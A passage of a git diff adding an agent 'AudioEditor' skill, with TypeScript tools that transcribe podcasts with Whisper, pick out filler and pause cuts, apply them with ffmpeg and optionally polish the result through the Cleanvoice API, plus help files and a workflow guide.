String(parseErr)}`); + console.error(` raw text: ${text.substring(0, 200)}...`); + hadWindowError = true; + continue; + } + + // Validate and deduplicate against existing edits + let added = 0; + for (const edit of edits) { + // Validation: required fields + if (!edit.type || typeof edit.start !== 'number' || typeof edit.end !== 'number') { + console.error(` Invalid edit (missing fields): ${JSON.stringify(edit)}`); + continue; + } + // Validation: numeric ranges + if (edit.end <= edit.start) { + console.error(` Invalid edit (end <= start): ${JSON.stringify(edit)}`); + continue; + } + // Validation: confidence is number in [0,1] + if (typeof edit.confidence !== 'number' || edit.confidence < 0 || edit.confidence > 1) { + console.error(` Invalid edit (confidence out of range): ${JSON.stringify(edit)}`); + continue; + } + // Validation: within transcript bounds + const transcriptEnd = chunks[chunks.length - 1].timestamp[1] || chunks[chunks.length - 1].timestamp[0]; + if (edit.start < 0 || edit.end > transcriptEnd + 1) { + console.error(` Invalid edit (out of bounds): ${JSON.stringify(edit)}`); + continue; + } + + const isDuplicate = allEdits.some( + (e) => Math.abs(e.start - edit.start) < 1.0 && Math.abs(e.end - edit.end) < 1.0 + ); + if (!isDuplicate && edit.confidence >= 0.6) { + allEdits.push(edit); + added++; + } + } + + console.log(` ${added} edits`); + } catch (err) { + console.error(` error: ${err}`); + hadWindowError = true; + } + } + + // Abort if any window had a critical error + if (hadWindowError) { + console.error("\n❌ Analysis failed due to window errors. Not saving partial results."); + throw new Error("Window processing errors occurred"); + } + + // Phase 3: Sort and merge overlapping edits + allEdits.sort((a, b) => a.start - b.start); + + const merged: EditDecision[] = []; + for (const edit of allEdits) { + if (merged.length > 0 && edit.start < merged[merged.length - 1].end + 0.3) { + // Merge overlapping edits + const prev = merged[merged.length - 1]; + prev.end = Math.max(prev.end, edit.end); + // Deduplicate types: split, add new, rejoin unique + const existingTypes = new Set(prev.type.split("+").map(t => t.trim())); + existingTypes.add(edit.type); + prev.type = Array.from(existingTypes).join("+"); + prev.reason = `${prev.reason}; ${edit.reason}`; + } else { + merged.push({ ...edit }); + } + } + + // Summary + const totalCut = merged.reduce((sum, e) => sum + (e.end - e.start), 0); + const byType: Record = {}; + for (const e of merged) { + const baseType = e.type.split("+")[0]; + byType[baseType] = (byType[baseType] || 0) + 1; + } + + console.log(`\n=== Analysis Complete ===`); + console.log(`Total edits: ${merged.length}`); + console.log(`Total time to cut: ${totalCut.toFixed(1)}s (${(totalCut / 60).toFixed(1)} min)`); + console.log(`By type:`); + for (const [type, count] of Object.entries(byType).sort((a, b) => b[1] - a[1])) { + console.log(` ${type}: ${count}`); + } + + // Save + await Bun.write(outFile, JSON.stringify(merged, null, 2)); + console.log(`\nSaved: ${outFile}`); +} + +// ============================================================================ +// Entry point — ADR-009 compliant: only run when executed directly +// ============================================================================ + +if (import.meta.main) { + main().catch((err) => { + console.error(err); + process.exit(1); + }); +} + +// Export for testing/module usage +export { main, loadEnv }; diff --git a/.opencode/skills/AudioEditor/Tools/Edit.help.md b/.opencode/skills/AudioEditor/Tools/Edit.help.md new file mode 100644 index 00000000..d1d2da45 --- /dev/null +++ b/.opencode/skills/AudioEditor/Tools/Edit.help.md @@ -0,0 +1,26 @@ +# Edit.ts + +Execute audio edits with ffmpeg. Reads an edit decision list and applies cuts with crossfades. + +## Usage + +```bash +bun ~/.opencode/skills/Utilities/AudioEditor/Tools/Edit.ts [--output ] +``` + +## Options + +| Flag | Description | +|------|-------------| +| `--output ` | Specify output file path (default: `_edited.`) | + +## Features + +- 40ms qsin crossfades at every edit point +- Room tone extraction and gap filling +- Preserves original codec and bitrate +- Supports MP3, WAV, FLAC, M4A/AAC + +## Requirements + +- `ffmpeg` and `ffprobe` installed diff --git a/.opencode/skills/AudioEditor/Tools/Edit.ts b/.opencode/skills/AudioEditor/Tools/Edit.ts new file mode 100644 index 00000000..c71b6f55 --- /dev/null +++ b/.opencode/skills/AudioEditor/Tools/Edit.ts @@ -0,0 +1,181 @@ +#!/usr/bin/env bun +/** + * Edit.ts — Execute audio edits with ffmpeg + * + * Reads an edit decision list and applies cuts to an audio file. + * Features: 40ms qsin crossfades, room tone extraction, gap filling. + * + * Usage: bun Edit.ts [--output ] + * Output: Edited audio file at _edited. + */ + +import { $ } from "bun"; +import { existsSync } from "fs"; +import { basename, dirname, extname, join } from "path"; + +interface EditDecision { + type: string; + start: number; + end: number; + reason: string; + context: string; + confidence: number; +} + +const args = process.argv.slice(2); +const positional = args.filter((a) => !a.startsWith("--")); +const audioFile = positional[0]; +const editsFile = positional[1]; +const outputFlag = args.indexOf("--output"); +const outputPath = outputFlag !== -1 ? args[outputFlag + 1] : undefined; + +if (!audioFile || !editsFile) { + console.error("Usage: bun edit.ts [--output ]"); + process.exit(1); +} + +if (!existsSync(audioFile) || !existsSync(editsFile)) { + console.error(`File not found: ${!existsSync(audioFile) ? audioFile : editsFile}`); + process.exit(1); +} + +const ext = extname(audioFile); +const base = basename(audioFile, ext); +const dir = dirname(audioFile); +const outFile = outputPath || join(dir, `${base}_edited${ext}`); + +console.log(`Audio: ${audioFile}`); +console.log(`Edits: ${editsFile}`); +console.log(`Output: ${outFile}`); + +// Load edits +const edits: EditDecision[] = JSON.parse(await Bun.file(editsFile).text()); +if (edits.length === 0) { + console.log("No edits to apply. Copying original file."); + await $`cp ${audioFile} ${outFile}`; + process.exit(0); +} + +// Get audio duration +const probeResult = await $`ffprobe -v quiet -print_format json -show_format ${audioFile}`.quiet(); +const probeData = JSON.parse(probeResult.text()); +const totalDuration = parseFloat(probeData.format.duration); +const bitrate = Math.round(parseInt(probeData.format.bit_rate) / 1000); +const sampleRate = 48000; // default, will be read from stream + +console.log(`Duration: ${totalDuration.toFixed(1)}s (${(totalDuration / 60).toFixed(1)} min)`); +console.log(`Bitrate: ${bitrate}kbps`); +console.log(`Edits: ${edits.length}`); + +// Sort edits by start time +edits.sort((a, b) => a.start - b.start); + +// Calculate keep segments (inverse of cuts) +const keepSegments: [number, number][] = []; +let prevEnd = 0.0; + +for (const edit of edits) { + if (edit.start > prevEnd) { + keepSegments.push([prevEnd, edit.start]); + } + prevEnd = Math.max(prevEnd, edit.end); +} + +if (prevEnd < totalDuration) { + keepSegments.push([prevEnd, totalDuration]); +} + +const totalKeep = keepSegments.reduce((sum, [s, e]) => sum + (e - s), 0); +const totalCut = totalDuration - totalKeep; +console.log(`Keeping: ${totalKeep.toFixed(1)}s (${(totalKeep / 60).toFixed(1)} min)`); +console.log(`Cutting: ${totalCut.toFixed(1)}s (${(totalCut / 60).toFixed(1)} min)`); +console.log(`Segments: ${keepSegments.length}`); + +// ===== Build ffmpeg filter ===== +// Strategy: atrim each segment, apply 40ms fade in/out at boundaries, concat +const FADE_MS = 40; +const FADE_S = FADE_MS / 1000; + +const filterParts: string[] = []; +const streamLabels: string[] = []; + +for (let i = 0; i < keepSegments.length; i++) { + const [start, end] = keepSegments[i]; + const duration = end - start; + const label = `a${i}`; + + // atrim + asetpts to reset timestamps + let filter = `[0:a]atrim=${start.toFixed(3)}:${end.toFixed(3)},asetpts=PTS-STARTPTS`; + + // Apply fade-in at start of segment (except first segment if it starts at 0) + if (i > 0) { + filter += `,afade=t=in:st=0:d=${FADE_S}:curve=qsin`; + } + + // Apply fade-out at end of segment (except last segment if it ends at duration) + if (i < keepSegments.length - 1) { + const fadeStart = Math.max(0, duration - FADE_S); + filter += `,afade=t=out:st=${fadeStart.toFixed(3)}:d=${FADE_S}:curve=qsin`; + } + + filter += `[${label}]`; + filterParts.push(filter); + streamLabels.push(`[${label}]`); +} + +// Concat all segments +const concatInput = streamLabels.join(""); +filterParts.push( + `${concatInput}concat=n=${keepSegments.length}:v=0:a=1[out]` +); + +const filterComplex = filterParts.join(";\n"); + +// Write filter to temp file (can be very long) +const filterFile = join(dir, `.${base}_filter.txt`); +await Bun.write(filterFile, filterComplex); + +// Determine codec based on extension +let codecArgs: string[]; +if (ext === ".mp3") { + codecArgs = ["-codec:a", "libmp3lame", "-b:a", `${Math.max(bitrate, 96)}k`]; +} else if (ext === ".wav") { + codecArgs = ["-codec:a", "pcm_s16le"]; +} else if (ext === ".flac") { + codecArgs = ["-codec:a", "flac"]; +} else if (ext === ".m4a" || ext === ".aac") { + codecArgs = ["-codec:a", "aac", "-b:a", `${Math.max(bitrate, 128)}k`]; +} else { + codecArgs = ["-codec:a", "libmp3lame", "-b:a", "128k"]; +} + +console.log(`\nExecuting ffmpeg...`); + +const ffmpegResult = await $`ffmpeg -y \ + -i ${audioFile} \ + -filter_complex_script ${filterFile} \ + -map "[out]" \ + ${codecArgs} \ + -ar ${sampleRate} \ + ${outFile} 2>&1`.quiet().nothrow(); + +// Clean up +await $`rm -f ${filterFile}`.quiet(); + +if (ffmpegResult.exitCode !== 0) { + console.error(`ffmpeg failed (exit ${ffmpegResult.exitCode})`); + console.error(ffmpegResult.text().split("\n").slice(-5).join("\n")); + process.exit(1); +} + +// Verify output +const outProbe = await $`ffprobe -v quiet -print_format json -show_format ${outFile}`.quiet(); +const outData = JSON.parse(outProbe.text()); +const outDuration = parseFloat(outData.format.duration); +const outSize = Math.round(parseInt(outData.format.size) / 1024 / 1024); + +console.log(`\n=== Edit Complete ===`); +console.log(`Original: ${totalDuration.toFixed(1)}s (${(totalDuration / 60).toFixed(1)} min)`); +console.log(`Edited: ${outDuration.toFixed(1)}s (${(outDuration / 60).toFixed(1)} min)`); +console.log(`Removed: ${totalCut.toFixed(1)}s (${(totalCut / 60).toFixed(1)} min)`); +console.log(`Output: ${outFile} (${outSize}MB)`); diff --git a/.opencode/skills/AudioEditor/Tools/Pipeline.help.md b/.opencode/skills/AudioEditor/Tools/Pipeline.help.md new file mode 100644 index 00000000..9be1c40c --- /dev/null +++ b/.opencode/skills/AudioEditor/Tools/Pipeline.help.md @@ -0,0 +1,40 @@ +# Pipeline.ts + +End-to-end audio editing pipeline that chains all tools: Transcribe -> Analyze -> Edit -> (optional) Polish. + +## Usage + +```bash +bun ~/.opencode/skills/Utilities/AudioEditor/Tools/Pipeline.ts [options] +``` + +## Options + +| Flag | Description | +|------|-------------| +| `--polish` | Apply Cleanvoice cloud polish after editing (requires `CLEANVOICE_API_KEY`) | +| `--aggressive` | Tighter detection thresholds for filler words and pauses | +| `--preview` | Show proposed edits without executing them | +| `--output ` | Specify output file path | + +## Output + +- Edited audio: `_edited.` (same directory as input) +- Transcript: `.transcript.json` +- Edit decisions: `.edits.json` + +## Examples + +```bash +# Standard clean +bun Pipeline.ts ~/Downloads/podcast.mp3 + +# Preview edits first +bun Pipeline.ts ~/Downloads/podcast.mp3 --preview + +# Aggressive clean with polish +bun Pipeline.ts ~/Downloads/podcast.mp3 --aggressive --polish + +# Custom output path +bun Pipeline.ts ~/Downloads/podcast.mp3 --output ~/Desktop/cleaned.mp3 +``` diff --git a/.opencode/skills/AudioEditor/Tools/Pipeline.ts b/.opencode/skills/AudioEditor/Tools/Pipeline.ts new file mode 100644 index 00000000..4914eb8d --- /dev/null +++ b/.opencode/skills/AudioEditor/Tools/Pipeline.ts @@ -0,0 +1,175 @@ +#!/usr/bin/env bun +/** + * Pipeline.ts — End-to-end audio editing pipeline + * + * Chains: transcribe → analyze → edit → (optional) polish + * + * Usage: bun Pipeline.ts [--polish] [--aggressive] [--preview] + * Output: Edited (and optionally polished) audio file + */ + +import { $ } from "bun"; +import { existsSync } from "fs"; +import { basename, dirname, extname, join } from "path"; + +const TOOLS_DIR = import.meta.dir; + +const args = process.argv.slice(2); +const positional = args.filter((a) => !a.startsWith("--")); +const audioFile = positional[0]; +const doPolish = args.includes("--polish"); +const aggressive = args.includes("--aggressive"); +const preview = args.includes("--preview"); +const outputFlag = args.indexOf("--output"); +const outputPath = outputFlag !== -1 ? args[outputFlag + 1] : undefined; + +if (!audioFile) { + console.error("Usage: bun Pipeline.ts [--polish] [--aggressive] [--preview] [--output ]"); + console.error(""); + console.error("Flags:"); + console.error(" --polish Apply Cleanvoice cloud polish after editing (requires CLEANVOICE_API_KEY)"); + console.error(" --aggressive Tighter detection thresholds for filler words and pauses"); + console.error(" --preview Show proposed edits without executing them"); + console.error(" --output Specify output file path"); + process.exit(1); +} + +if (!existsSync(audioFile)) { + console.error(`File not found: ${audioFile}`); + process.exit(1); +} + +const ext = extname(audioFile); +const base = basename(audioFile, ext); +const dir = dirname(audioFile); + +console.log("╔══════════════════════════════════════════╗"); +console.log("║ AudioEditor Pipeline ║"); +console.log("╚══════════════════════════════════════════╝"); +console.log(`Input: ${audioFile}`); +console.log(`Mode: ${aggressive ? "aggressive" : "standard"}${doPolish ? " + polish" : ""}`); +console.log(""); + +const startTime = Date.now(); + +// ===== Step 1: Transcribe ===== +console.log("━━━ Step 1/4: Transcribe ━━━━━━━━━━━━━━━━━━"); +const transcriptFile = join(dir, `${base}.transcript.json`); + +if (existsSync(transcriptFile)) { + console.log(`Transcript exists, reusing: ${transcriptFile}`); +} else { + const transcribeResult = await $`bun ${join(TOOLS_DIR, "Transcribe.ts")} ${audioFile} --output ${transcriptFile}`.nothrow(); + if (transcribeResult.exitCode !== 0) { + console.error("Transcription failed."); + process.exit(1); + } +} + +if (!existsSync(transcriptFile)) { + console.error(`Transcript not found after transcription: ${transcriptFile}`); + process.exit(1); +} + +console.log(""); + +// ===== Step 2: Analyze ===== +console.log("━━━ Step 2/4: Analyze ━━━━━━━━━━━━━━━━━━━━━"); +const editsFile = join(dir, `${base}.edits.json`); + +const analyzeArgs = [join(TOOLS_DIR, "Analyze.ts"), transcriptFile, "--output", editsFile]; +if (aggressive) analyzeArgs.push("--aggressive"); + +const analyzeResult = await $`bun ${analyzeArgs}`.nothrow(); +if (analyzeResult.exitCode !== 0) { + console.error("Analysis failed."); + process.exit(1); +} + +if (!existsSync(editsFile)) { + console.error(`Edits file not found after analysis: ${editsFile}`); + process.exit(1); +} + +// Load and display edit summary +const edits = JSON.parse(await Bun.file(editsFile).text()); +console.log(""); + +if (preview) { + console.log("━━━ Preview Mode ━━━━━━━━━━━━━━━━━━━━━━━━━"); + console.log(`Found ${edits.length} proposed edits:\n`); + for (const edit of edits) { + const duration = (edit.end - edit.start).toFixed(1); + console.log(` [${formatTime(edit.start)}-${formatTime(edit.end)}] (${duration}s) ${edit.type}`); + console.log(` ${edit.reason}`); + console.log(` "${edit.context}"`); + console.log(""); + } + const totalCut = edits.reduce((sum: number, e: any) => sum + (e.end - e.start), 0); + console.log(`Total time to cut: ${totalCut.toFixed(1)}s (${(totalCut / 60).toFixed(1)} min)`); + console.log(`\nEdits saved to: ${editsFile}`); + console.log("Run without --preview to apply these edits."); + process.exit(0); +} + +// ===== Step 3: Edit ===== +console.log("━━━ Step 3/4: Edit ━━━━━━━━━━━━━━━━━━━━━━━━"); +const editedFile = doPolish + ? join(dir, `${base}_edited_pre-polish${ext}`) + : outputPath || join(dir, `${base}_edited${ext}`); + +const editResult = await $`bun ${join(TOOLS_DIR, "Edit.ts")} ${audioFile} ${editsFile} --output ${editedFile}`.nothrow(); +if (editResult.exitCode !== 0) { + console.error("Editing failed."); + process.exit(1); +} + +if (!existsSync(editedFile)) { + console.error(`Edited file not found: ${editedFile}`); + process.exit(1); +} + +console.log(""); + +// ===== Step 4: Polish (optional) ===== +if (doPolish) { + console.log("━━━ Step 4/4: Polish ━━━━━━━━━━━━━━━━━━━━━━"); + const polishedFile = outputPath || join(dir, `${base}_edited${ext}`); + + const polishResult = await $`bun ${join(TOOLS_DIR, "Polish.ts")} ${editedFile} --output ${polishedFile}`.nothrow(); + if (polishResult.exitCode !== 0) { + console.error("Polish failed. Edited file still available at:", editedFile); + process.exit(1); + } + + // Clean up pre-polish intermediate file + await $`rm -f ${editedFile}`.quiet(); + + console.log(""); +} else { + console.log("━━━ Step 4/4: Polish (skipped) ━━━━━━━━━━━━"); + console.log("Add --polish flag to enable Cleanvoice cloud polish."); + console.log(""); +} + +// ===== Summary ===== +const elapsed = ((Date.now() - startTime) / 1000).toFixed(1); +const finalFile = doPolish + ? outputPath || join(dir, `${base}_edited${ext}`) + : editedFile; + +console.log("╔══════════════════════════════════════════╗"); +console.log("║ Pipeline Complete ║"); +console.log("╚══════════════════════════════════════════╝"); +console.log(`Output: ${finalFile}`); +console.log(`Elapsed: ${elapsed}s`); +console.log(`Artifacts:`); +console.log(` Transcript: ${transcriptFile}`); +console.log(` Edits: ${editsFile}`); +console.log(` Audio: ${finalFile}`); + +function formatTime(seconds: number): string { + const m = Math.floor(seconds / 60); + const s = seconds % 60; + return `${m}:${s.toFixed(2).padStart(5, "0")}`; +} diff --git a/.opencode/skills/AudioEditor/Tools/Polish.help.md b/.opencode/skills/AudioEditor/Tools/Polish.help.md new file mode 100644 index 00000000..d9ceda62 --- /dev/null +++ b/.opencode/skills/AudioEditor/Tools/Polish.help.md @@ -0,0 +1,27 @@ +# Polish.ts + +Cleanvoice API cloud polish for final audio cleanup. + +## Usage + +```bash +bun ~/.opencode/skills/Utilities/AudioEditor/Tools/Polish.ts [--output ] +``` + +## Options + +| Flag | Description | +|------|-------------| +| `--output ` | Specify output file path (default: `_polished.`) | + +## Features + +- Mouth sound removal +- Remaining filler word detection +- Loudness normalization +- Polls API for completion (up to 30 min timeout) + +## Requirements + +- `CLEANVOICE_API_KEY` environment variable +- Get key at: cleanvoice.ai Dashboard Settings API Key diff --git a/.opencode/skills/AudioEditor/Tools/Polish.ts b/.opencode/skills/AudioEditor/Tools/Polish.ts new file mode 100644 index 00000000..6c907cca --- /dev/null +++ b/.opencode/skills/AudioEditor/Tools/Polish.ts @@ -0,0 +1,269 @@ +#!/usr/bin/env bun +/** + * Polish.ts — Cleanvoice API cloud polish + * + * Uploads audio to Cleanvoice API for final cleanup: + * - Mouth sound removal + * - Remaining filler detection + * - Loudness normalization + * + * Usage: bun Polish.ts [--output ] + * Output: Polished audio file at _polished. + * + * Requires: CLEANVOICE_API_KEY env var + * Get key at: https://cleanvoice.ai → Dashboard → Settings → API Key + */ + +import { existsSync, readFileSync } from "fs"; +import { basename, dirname, extname, join, resolve } from "path"; +import { homedir } from "os"; + +// ============================================================================ +// Environment Loading — keys from ~/.config/PAI/.env +// ============================================================================ + +function loadEnv(): void { + const envPath = process.env.PAI_CONFIG_DIR + ? resolve(process.env.PAI_CONFIG_DIR, ".env") + : resolve(homedir(), ".config/PAI/.env"); + try { + const content = readFileSync(envPath, "utf-8"); + for (const line of content.split("\n")) { + const trimmed = line.trim(); + if (!trimmed || trimmed.startsWith("#")) continue; + const eqIndex = trimmed.indexOf("="); + if (eqIndex === -1) continue; + const key = trimmed.slice(0, eqIndex).trim(); + let value = trimmed.slice(eqIndex + 1).trim(); + if ( + (value.startsWith('"') && value.endsWith('"')) || + (value.startsWith("'") && value.endsWith("'")) + ) { + value = value.slice(1, -1); + } + if (!process.env[key]) { + process.env[key] = value; + } + } + } catch { + // Silently continue if .env doesn't exist + } +} + +// Only load env when running as main script (not when imported as module) +if (import.meta.main) { + loadEnv(); +} + +// ============================================================================ +// Main polish logic +// ============================================================================ + +async function main(): Promise { + const args = process.argv.slice(2); + const positional = args.filter((a) => !a.startsWith("--")); + const audioFile = positional[0]; + const outputFlag = args.indexOf("--output"); + const outputPath = outputFlag !== -1 ? args[outputFlag + 1] : undefined; + + if (!audioFile) { + console.error("Usage: bun Polish.ts [--output ]"); + throw new Error("Missing audio file"); + } + + if (!existsSync(audioFile)) { + console.error(`File not found: ${audioFile}`); + throw new Error("Audio file not found"); + } + + const apiKey = process.env.CLEANVOICE_API_KEY; + if (!apiKey) { + console.error("CLEANVOICE_API_KEY not found. Set it in ~/.config/PAI/.env"); + console.error("Get key at: https://cleanvoice.ai → Dashboard → Settings → API Key"); + throw new Error("Missing CLEANVOICE_API_KEY"); + } + + const ext = extname(audioFile); + const base = basename(audioFile, ext); + const dir = dirname(audioFile); + const outFile = outputPath || join(dir, `${base}_polished${ext}`); + + // Check if output would overwrite input + if (resolve(outFile) === resolve(audioFile)) { + console.error(`Error: Output path would overwrite input file.`); + console.error(`Input: ${audioFile}`); + console.error(`Output: ${outFile}`); + throw new Error("Output path conflicts with input file"); + } + + console.log(`Audio: ${audioFile}`); + console.log(`Output: ${outFile}`); + + const API_BASE = "https://api.cleanvoice.ai/v2"; + const UPLOAD_TIMEOUT = 120000; // 2 minutes for upload + const EDIT_TIMEOUT = 30000; // 30 seconds for edit request + const STATUS_TIMEOUT = 30000; // 30 seconds for status check + const DOWNLOAD_TIMEOUT = 120000; // 2 minutes for download + + // Helper function for fetch with timeout + async function fetchWithTimeout(url: string, options: RequestInit, timeoutMs: number): Promise { + const controller = new AbortController(); + const timeoutId = setTimeout(() => controller.abort(), timeoutMs); + + try { + const response = await fetch(url, { + ...options, + signal: controller.signal, + }); + clearTimeout(timeoutId); + return response; + } catch (err) { + clearTimeout(timeoutId); + if (err instanceof Error && err.name === 'AbortError') { + throw new Error(`Request timeout after ${timeoutMs}ms`); + } + throw err; + } + } + + // Step 1: Upload the file + console.log("\nUploading to Cleanvoice..."); + + const fileData = await Bun.file(audioFile).arrayBuffer(); + const formData = new FormData(); + formData.append("file", new Blob([fileData]), basename(audioFile)); + + const uploadResponse = await fetchWithTimeout(`${API_BASE}/upload`, { + method: "POST", + headers: { + "X-API-Key": apiKey, + }, + body: formData, + }, UPLOAD_TIMEOUT); + + if (!uploadResponse.ok) { + const err = await uploadResponse.text(); + console.error(`Upload failed: ${uploadResponse.status} ${err}`); + throw new Error("Upload failed"); + } + + const uploadData = (await uploadResponse.json()) as { id?: string; file_id?: string }; + const fileId = uploadData.id || uploadData.file_id; + if (!fileId) { + throw new Error("No file ID in upload response"); + } + console.log(`Uploaded: ${fileId}`); + + // Step 2: Start processing + console.log("Starting Cleanvoice processing..."); + + const editResponse = await fetchWithTimeout(`${API_BASE}/edit`, { + method: "POST", + headers: { + "Content-Type": "application/json", + "X-API-Key": apiKey, + }, + body: JSON.stringify({ + input: { files: [fileId] }, + config: { + filler_words: true, + mouth_sounds: true, + deadair: false, // We handle this ourselves + normalize: true, + }, + }), + }, EDIT_TIMEOUT); + + if (!editResponse.ok) { + const err = await editResponse.text(); + console.error(`Edit request failed: ${editResponse.status} ${err}`); + throw new Error("Edit request failed"); + } + + const editData = (await editResponse.json()) as { id?: string; edit_id?: string }; + const editId = editData.id || editData.edit_id; + if (!editId) { + throw new Error("No edit ID in response"); + } + console.log(`Edit job: ${editId}`); + + // Step 3: Poll for completion + console.log("Processing..."); + const POLL_INTERVAL = 5000; // 5 seconds + const MAX_POLLS = 360; // 30 minutes max + + for (let i = 0; i < MAX_POLLS; i++) { + await new Promise((resolve) => setTimeout(resolve, POLL_INTERVAL)); + + const statusResponse = await fetchWithTimeout(`${API_BASE}/edit/${editId}`, { + method: "GET", + headers: { "X-API-Key": apiKey }, + }, STATUS_TIMEOUT); + + if (!statusResponse.ok) { + console.error(`Status check failed: ${statusResponse.status}`); + continue; + } + + const statusData = (await statusResponse.json()) as { + status: string; + error?: string; + result?: { url?: string }; + download_url?: string; + output?: { url?: string }; + }; + const status = statusData.status; + + if (status === "completed" || status === "done") { + console.log("Processing complete."); + + // Download the result + const downloadUrl = statusData.result?.url || statusData.download_url || statusData.output?.url; + if (!downloadUrl) { + console.error("No download URL in response:", JSON.stringify(statusData, null, 2)); + throw new Error("No download URL"); + } + + console.log("Downloading polished audio..."); + const downloadResponse = await fetchWithTimeout(downloadUrl, { + method: "GET", + }, DOWNLOAD_TIMEOUT); + + if (!downloadResponse.ok) { + console.error(`Download failed: ${downloadResponse.status}`); + throw new Error("Download failed"); + } + + const outputData = await downloadResponse.arrayBuffer(); + await Bun.write(outFile, outputData); + + const sizeMB = Math.round(outputData.byteLength / 1024 / 1024); + console.log(`\n=== Polish Complete ===`); + console.log(`Output: ${outFile} (${sizeMB}MB)`); + return; + } else if (status === "failed" || status === "error") { + console.error(`Processing failed: ${statusData.error || "unknown error"}`); + throw new Error(`Processing failed: ${statusData.error || "unknown error"}`); + } else { + const elapsed = ((i + 1) * POLL_INTERVAL / 1000).toFixed(0); + process.stdout.write(`\r Status: ${status} (${elapsed}s elapsed)`); + } + } + + console.error("\nTimeout: processing took too long (>30 min)"); + throw new Error("Processing timeout"); +} + +// ============================================================================ +// Entry point — ADR-009 compliant: only run when executed directly +// ============================================================================ + +if (import.meta.main) { + main().catch((err) => { + console.error(err); + process.exit(1); + }); +} + +// Export for testing/module usage +export { main, loadEnv }; diff --git a/.opencode/skills/AudioEditor/Tools/Transcribe.help.md b/.opencode/skills/AudioEditor/Tools/Transcribe.help.md new file mode 100644 index 00000000..28ee54ce --- /dev/null +++ b/.opencode/skills/AudioEditor/Tools/Transcribe.help.md @@ -0,0 +1,34 @@ +# Transcribe.ts + +Word-level transcription via Whisper. Uses insanely-fast-whisper (MPS accelerated) with fallback to standard whisper CLI. + +## Usage + +```bash +bun ~/.opencode/skills/Utilities/AudioEditor/Tools/Transcribe.ts [--output ] +``` + +## Options + +| Flag | Description | +|------|-------------| +| `--output ` | Specify output JSON path (default: `.transcript.json`) | + +## Output Format + +JSON with word-level timestamps (insanely-fast-whisper format): + +```json +{ + "text": "Full transcript text...", + "chunks": [ + { "text": "word", "timestamp": [0.0, 0.5] } + ] +} +``` + +## Requirements + +One of: +- `insanely-fast-whisper` (preferred, MPS accelerated) +- `whisper` (standard OpenAI whisper CLI) diff --git a/.opencode/skills/AudioEditor/Tools/Transcribe.ts b/.opencode/skills/AudioEditor/Tools/Transcribe.ts new file mode 100644 index 00000000..a176c906 --- /dev/null +++ b/.opencode/skills/AudioEditor/Tools/Transcribe.ts @@ -0,0 +1,110 @@ +#!/usr/bin/env bun +/** + * Transcribe.ts — Word-level transcription via Whisper + * + * Uses insanely-fast-whisper (MPS accelerated) for word-level timestamps. + * Falls back to standard whisper CLI if unavailable. + * + * Usage: bun Transcribe.ts [--output ] + * Output: JSON file with word-level timestamps at .transcript.json + */ + +import { $ } from "bun"; +import { existsSync } from "fs"; +import { basename, dirname, join } from "path"; + +const args = process.argv.slice(2); +const inputFile = args.find((a) => !a.startsWith("--")); +const outputFlag = args.indexOf("--output"); +const outputPath = + outputFlag !== -1 ? args[outputFlag + 1] : undefined; + +if (!inputFile) { + console.error("Usage: bun transcribe.ts [--output ]"); + process.exit(1); +} + +if (!existsSync(inputFile)) { + console.error(`File not found: ${inputFile}`); + process.exit(1); +} + +const outFile = + outputPath || join(dirname(inputFile), `${basename(inputFile, "." + inputFile.split(".").pop())}.transcript.json`); + +console.log(`Transcribing: ${inputFile}`); +console.log(`Output: ${outFile}`); + +// Check which whisper variant is available +const hasFastWhisper = + (await $`which insanely-fast-whisper 2>/dev/null`.quiet().nothrow()).exitCode === 0; +const hasWhisper = + (await $`which whisper 2>/dev/null`.quiet().nothrow()).exitCode === 0; + +if (hasFastWhisper) { + console.log("Using insanely-fast-whisper (MPS accelerated)..."); + const result = await $`insanely-fast-whisper \ + --file-name ${inputFile} \ + --transcript-path ${outFile} \ + --device-id mps \ + --timestamp word \ + --model-name openai/whisper-large-v3 \ + --batch-size 4 2>&1`.quiet().nothrow(); + + if (result.exitCode !== 0) { + console.error("insanely-fast-whisper failed, trying standard whisper..."); + } else { + console.log("Transcription complete."); + } +} + +if (!hasFastWhisper || !existsSync(outFile)) { + if (!hasWhisper) { + console.error("No whisper variant found. Install: pip install openai-whisper"); + process.exit(1); + } + + console.log("Using standard whisper..."); + const tmpDir = join(dirname(outFile), ".whisper-tmp"); + await $`mkdir -p ${tmpDir}`; + + await $`whisper ${inputFile} \ + --model medium \ + --language en \ + --word_timestamps True \ + --output_format json \ + --output_dir ${tmpDir} 2>&1`.quiet(); + + // Find and move the output + const whisperOut = join(tmpDir, basename(inputFile).replace(/\.[^.]+$/, ".json")); + if (existsSync(whisperOut)) { + // Convert whisper format to insanely-fast-whisper format for consistency + const data = JSON.parse(await Bun.file(whisperOut).text()); + const chunks: { text: string; timestamp: [number, number | null] }[] = []; + + for (const segment of data.segments || []) { + for (const word of segment.words || []) { + chunks.push({ + text: word.word, + timestamp: [word.start, word.end], + }); + } + } + + const fullText = chunks.map((c) => c.text).join(""); + await Bun.write(outFile, JSON.stringify({ text: fullText, chunks }, null, 2)); + await $`rm -rf ${tmpDir}`; + console.log("Transcription complete."); + } else { + console.error("Whisper produced no output."); + await $`rm -rf ${tmpDir}`; + process.exit(1); + } +} + +// Validate output +const transcript = JSON.parse(await Bun.file(outFile).text()); +const chunkCount = transcript.chunks?.length || 0; +const textLen = transcript.text?.length || 0; +console.log(`Words: ${chunkCount} | Text: ${textLen} chars`); +console.log(`Saved: ${outFile}`); diff --git a/.opencode/skills/AudioEditor/Workflows/Clean.md b/.opencode/skills/AudioEditor/Workflows/Clean.md new file mode 100644 index 00000000..1f360d55 --- /dev/null +++ b/.opencode/skills/AudioEditor/Workflows/Clean.md @@ -0,0 +1,76 @@ +# Clean Workflow + +Clean, edit, and polish audio files by removing filler words, stutters, false starts, dead air, and edit markers. + +## Voice Notification + +```bash +curl -s -X POST http://localhost:8888/notify \ + -H "Content-Type: application/json" \ + -d '{"message": "Running the Clean workflow in the AudioEditor skill to clean audio"}' \ + > /dev/null 2>&1 & +``` + +Running the **Clean** workflow in the **AudioEditor** skill to clean audio... + +## Step 1: Locate the Audio File + +Identify the audio file from the user's request. Check common locations: +- Explicit path provided by user +- `~/Downloads/` for recently downloaded files +- Use `fd` to search if needed: `fd -e mp3 -e wav -e m4a -e flac '' ~/Downloads` + +If multiple matches exist, ask the user which file to use. + +## Step 2: Determine Flags from Intent + +Map the user's request to Pipeline.ts flags: + +| User Says | Flag | Effect | +|-----------|------|--------| +| "preview", "show edits", "what would you cut" | `--preview` | Show proposed edits without executing | +| "aggressive", "tight", "heavy edit" | `--aggressive` | Tighter silence/filler thresholds | +| "polish", "cleanvoice", "final pass" | `--polish` | Cleanvoice API cloud polish (requires 